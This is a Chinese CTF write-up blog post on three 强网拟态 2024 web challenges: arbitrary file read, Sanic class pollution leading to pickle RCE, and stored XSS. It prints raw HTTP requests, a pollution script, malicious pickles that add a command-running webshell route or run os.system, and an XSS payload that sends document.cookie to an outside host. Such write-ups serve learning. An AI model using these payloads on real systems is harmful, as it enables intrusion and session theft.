强网拟态2024

明年一定进决赛

友情提示:本文最后更新于 525 天前,文中的内容可能已有所发展或发生改变。

0x01 说在前面

省赛搞一起了,我连账号都没有,不过借到朋友的账号可以试试看:grin:

0x02 question

capoo

发现可以任意文件读取,读到的是base64的编码情况,直接尝试读flag,失败了

POST /showpic.php HTTP/1.1
Host: web-64c0cdc1b2.challenge.xctf.org.cn
Content-Length: 11
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Origin: http://web-64c0cdc1b2.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-64c0cdc1b2.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

capoo=/flag

那么文件名肯定是不对的,这里我们读取一些敏感文件,我起码读了十几个敏感文件,读到的基本没用,后面真是想到了前几天出题,Docker的根目录有好东西

POST /showpic.php HTTP/1.1
Host: web-73a38d83f9.challenge.xctf.org.cn
Content-Length: 15
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Origin: http://web-64c0cdc1b2.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-64c0cdc1b2.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

capoo=/start.sh
#!/bin/sh

rm -f /docker-entrypoint.sh

# Get the user
user=$(ls /home)

# Check the environment variables for the flag and assign to INSERT_FLAG
# 需要注意,以下语句会将FLAG相关传递变量进行覆盖,如果需要,请注意修改相关操作
#if [ "$DASFLAG" ]; then
#    INSERT_FLAG="$DASFLAG"
#    export DASFLAG=no_FLAG
#    DASFLAG=no_FLAG
#elif [ "$FLAG" ]; then
#    INSERT_FLAG="$FLAG"
#    export FLAG=no_FLAG
#    FLAG=no_FLAG
#elif [ "$GZCTF_FLAG" ]; then
#    INSERT_FLAG="$GZCTF_FLAG"
#    export GZCTF_FLAG=no_FLAG
#    GZCTF_FLAG=no_FLAG
#else
#    INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
#fi

# 将FLAG写入文件 请根据需要修改
#echo $INSERT_FLAG | tee /flag

#touch /flag
chmod 744 /flag-33ac806f

php-fpm & nginx &

echo "Running..."

tail -F /var/log/nginx/access.log /var/log/nginx/error.log

发现了flag文件哈哈,这个生成形式和我当时写的一模一样,只不过我没给权限,这给权限有啥用

POST /showpic.php HTTP/1.1
Host: web-73a38d83f9.challenge.xctf.org.cn
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Origin: http://web-64c0cdc1b2.challenge.xctf.org.cn
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-64c0cdc1b2.challenge.xctf.org.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

capoo=/flag-33ac806f

ez_picker

一个sanic框架的pickle反序列化?我都不会我丢

from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
    'math',
    'datetime',
    'json',
    'collections',
}

safe_names = {
    'sqrt', 'pow', 'sin', 'cos', 'tan',
    'date', 'datetime', 'timedelta', 'timezone', 
    'loads', 'dumps',  
    'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in safe_modules and name in safe_names:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
    
def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
    def __init__(self,username,password):
        self.username=username
        self.password=password
        

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def token_required(func):
    async def wrapper(request, *args, **kwargs):
        token = request.cookies.get("token")  
        if not token:
            return redirect('/login')
        try:
            result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
        except jwt.ExpiredSignatureError:
            return json({"status": "fail", "message": "Token expired"}, status=401)
        except jwt.InvalidTokenError:
            return json({"status": "fail", "message": "Invalid token"}, status=401)
        print(result)
        if result["role"]!="admin":
            return json({"status": "fail", "message": "Permission Denied"}, status=401)
        return await func(request, *args, **kwargs)
    return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
    file = "app.py"
    with open(file, 'r') as f:
        content = f.read()
    return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
    if request.method=="GET":
        return await file_('templates/upload.html')
    if not request.files:
        return text("No file provided", status=400)

    file = request.files.get('file')
    file_object = file[0] if isinstance(file, list) else file
    try:
        new_data = restricted_loads(file_object.body)
        try:
            my_object.update(new_data)
        except:
            return json({"status": "success", "message": "Pickle object loaded but not updated"})
        with open(pickle_file, "wb") as f:
            pickle.dump(my_object, f)

        return json({"status": "success", "message": "Pickle object updated"})
    except pickle.UnpicklingError:
        return text("Dangerous pickle file", status=400)
    
@app.route('/register', methods=['GET','POST'])
async def register(request):
    if request.method=='GET':
        return await file_('templates/register.html')
    if request.json:
        NewUser=User("username","password")
        merge(request.json, NewUser)
        users.append(NewUser)
    else:
        return json({"status": "fail", "message": "Invalid request"}, status=400)
    return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
    if request.method=='GET':
        return await file_('templates/login.html')
    if request.json:
        username = request.json.get("username")
        password = request.json.get("password")
        if not username or not password:
            return json({"status": "fail", "message": "Username or password missing"}, status=400)
        user = next((u for u in users if u.username == username), None)
        if user:
            if user.password == password:
                data={"user":username,"role":"guest"}
                data['exp'] = int(time.time()) + 60 *5
                token = jwt.encode(data, str(secret_key), algorithm='HS256')
                response = json({"status": "success", "redirect": "/upload"})
                response.cookies["token"]=token
                response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
                return response
            else:
                return json({"status": "fail", "message": "Invalid password"}, status=400)
        else:
            return json({"status": "fail", "message": "User not found"}, status=404)
    return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

污染环境

import json
import requests
url="http://web-05191a6c96.challenge.xctf.org.cn/register"

payload={
    "__init__":{
        "__globals__":{
            "secret_key":"baozongwi",
            "NewUser":{
                "username":"admin",
                "password":"666666"
            },
            "safe_modules":"builtins",
            "safe_names":["getattr","system","dict","globals"]
        }
    }
}
r = requests.post(url=url, json=payload)
print(r.status_code)
print(r.text)

然后注册

username:admin
password:666666

拿到token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYmFvem9uZ3dpIiwicm9sZSI6Imd1ZXN0IiwiZXhwIjoxNzI5MzQ3NDgxfQ.1CV6uS8_f3GpzSobSUq9wD8FOENO8YEXiGLYseER5Lo

伪造jwt就可以上传文件了,但是这里是一个jwt只能上传一次

而且我写的文件貌似是很有问题,上传不成功,弹不出来shell,卡着了

后来找到说是可以直接RCE的(看师傅们的做法)

打内存马

import pickle
from flask import Flask, request

app = Flask(__name__)

class A():
    def __reduce__(self):
        return (eval, ('app.add_route(lambda request:__import__("os").popen(request.args.get("cmd")).read(), "/shell", methods=["GET", "POST"])',))

a = A()
b = pickle.dumps(a)
print(b)

with open("poc.pkl", "wb") as f:
    f.write(b)

然后上传之后就getshell

还有一种是直接写文件

import pickle

# 提供的pickle序列化字符串
pickle_data = b"c__builtin__\ngetattr\n(c__builtin__\n__import__\n(S'os'\ntRS'system'\ntR(S'more /tr3e_fl4g_1s_h3re_lol >/app/templates/index.html'\ntR."

# 将pickle序列化字符串写入文件
with open("malicious.pkl", "wb") as f:
    f.write(pickle_data)

print("Pickle data has been written to malicious.pkl")

pickle反序列化感觉经常有哇,这个月必须把他学了,师傅们好厉害这次比赛学到了

Spreader

index.js

const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');
function isAuthenticated(req, res, next) {
    if (req.session.user) {
        next();
    } else {
        res.redirect('/login');
    }
}
module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {

    const ROLES = {
        PLAIN: "plain",
        PRIVILEGED: "privileged",
        ADMIN: "admin",
    };

    router.get('/register', (req, res) => {
        res.sendFile('register.html', { root: './views' });
    });

    router.post('/register', (req, res) => {
        const { username, password, role } = req.body;
        const userExists = users.some(u => u.username === username);
        if (userExists) {
            return res.send('Username already exists!');
        }
        users.push({ username, password, role: "plain" });
        res.redirect('/login');
    });
    router.get('/login', (req, res) => {
        res.sendFile('login.html', { root: './views' });
    });

    router.post('/login', (req, res) => {
        const { username, password } = req.body;
        console.log(username);
        console.log(password);
        const user = users.find(u => u.username === username && u.password === password);
        if (user) {
            req.session.user = user;
            res.redirect('/');
        } else {
            res.send('Invalid credentials!');
        }
    });
    router.get('/', isAuthenticated, (req, res) => {
        const currentUser = req.session.user;
        let filteredPosts = [];
        if (currentUser.role === ROLES.ADMIN) {
            filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
        } else if (currentUser.role === ROLES.PRIVILEGED) {
            filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
        } else {
            filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
        }
        res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
    });
    router.post('/post', isAuthenticated, (req, res) => {
        let { content } = req.body;
    
        const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
        content = content.replace(scriptTagRegex, '[XSS attempt blocked]');

        const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
        content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');
    
        const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
        content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');
    
        const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
        content = content.replace(dataURLRegex, '[XSS attempt blocked]');
    
        const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
        content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');
    
        const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
        content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');
    
        const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
        content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');
    
        const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
        content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');
    
        const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
        content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');
    
        posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
        res.redirect('/');
    });
    
    
    router.get('/logout', (req, res) => {
        req.session.destroy();
        res.redirect('/login');
    });
    router.get('/report_admin', async (req, res) => {
        try {
            await triggerXSS("admin",AdminPassWord);
            res.send(`Admin Bot successfully logged in.`);
        } catch (error) {
            console.error('Error Reporting:', error);
            res.send(`Admin Bot successfully logged in.`);
        }
    });
    router.get('/report_privileged', async (req, res) => {
        try {
            await triggerXSS("privileged",PrivilegedPassWord);
            res.send(`Privileged Bot successfully logged in.`);
        } catch (error) {
            console.error('Error Reporting:', error);
            res.send(`Privileged Bot successfully logged in.`);
        }
    });
    router.get('/store', async (req, res) => {
        return res.status(200).json(store);
    });
    router.post('/store', async (req, res) => {
        if (req.body) {
            store.push(req.body);
            return res.status(200).send('Data stored successfully');
        } else {
            return res.status(400).send('No data received');
        }
    });
    router.get('/flag', async (req, res) => {
        try {
            if (req.session.user && req.session.user.role === "admin") {
                fs.readFile('/flag', 'utf8', (err, data) => {
                    if (err) {
                        console.error('Error reading flag file:', err);
                        return res.status(500).send('Internal Server Error');
                    }
                    res.send(`Your Flag Here: ${data}`);
                });
            } else {
                res.status(403).send('Unauthorized!');
            }
        } catch (error) {
            console.error('Error fetching flag:', error);
            res.status(500).send('Internal Server Error');
        }
    });
    return router;
};

bot.js

const puppeteer = require('puppeteer');

async function triggerXSS(UserName, PassWord) {
    const browser = await puppeteer.launch({
        args: ['--no-sandbox', '--disable-setuid-sandbox'],
        executablePath: '/usr/bin/chromium',
        headless: true
    });

    const page = await browser.newPage();

    await page.goto('http://localhost:3000/login');

    await page.type('input[name="username"]', UserName);
    await page.type('input[name="password"]', PassWord);

    await page.click('button[type="submit"]');

    await page.goto('http://localhost:3000/');

    await browser.close();

    return;
}

module.exports = { triggerXSS };

app.js

const express = require('express');
const session = require('express-session');
const stringRandom = require('string-random');
const bodyParser = require('body-parser');
const app = express();
const port = 3000;
const AdminPassWord=stringRandom(16, { numbers: true })
const PrivilegedPassWord=stringRandom(16, { numbers: true })
const PlainPassWord=stringRandom(16, { numbers: true })
const secret_key=stringRandom(16, { numbers: true })
const users = [];
const posts = [];
const store = [];
users.push({ username:"admin", password:AdminPassWord, role: "admin" });
users.push({ username:"privileged", password:PrivilegedPassWord, role: "privileged" });
users.push({ username:"plain", password:PlainPassWord, role: "plain" });
console.log(users)
app.use(express.static('views'));
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
    secret: secret_key,
    resave: false,
    saveUninitialized: true,
    cookie: {
        httpOnly: false,
        secure: false,
    }
}));


app.use('/', require('./routes/index')(users,posts,store,AdminPassWord,PrivilegedPassWord));

app.listen(port, () => {
    console.log(`App is running on http://localhost:${port}`);
});

这道题欠着,今天太累了


欧克我来了,这里先看代码,发现xss那么我们需要找口子,估计是拿cookie,因为最后的/flag路由可以得到flag只不过需要授权,看到/post有很多过滤,不过其实在/register就已经可以进行xss了

router.get('/register', (req, res) => {
    res.sendFile('register.html', { root: './views' });
});

router.post('/register', (req, res) => {
    const { username, password, role } = req.body;
    const userExists = users.some(u => u.username === username);
    if (userExists) {
        return res.send('Username already exists!');
    }
    users.push({ username, password, role: "plain" });
    res.redirect('/login');
});

这里直接返回了username所以我们注册之后发帖可以打xss

http://web-acd976ed49.challenge.xctf.org.cn/register
POST:
username=<script src="http://ip:12138/poc.js"></script>&password=1

写一个poc.js

<img src=/ onerror="window.location='http://ip:9999/?a='+document.cookie;">

然后访问/report_privileged拿一个cookie之后再去同样的方法/report_admin来拿admin,不过这里我看到说可以直接去拿admin,这样子确实步骤少点

0x03 小结

得赶紧学学东西了,flask框架这玩意也只能在小比赛里面用用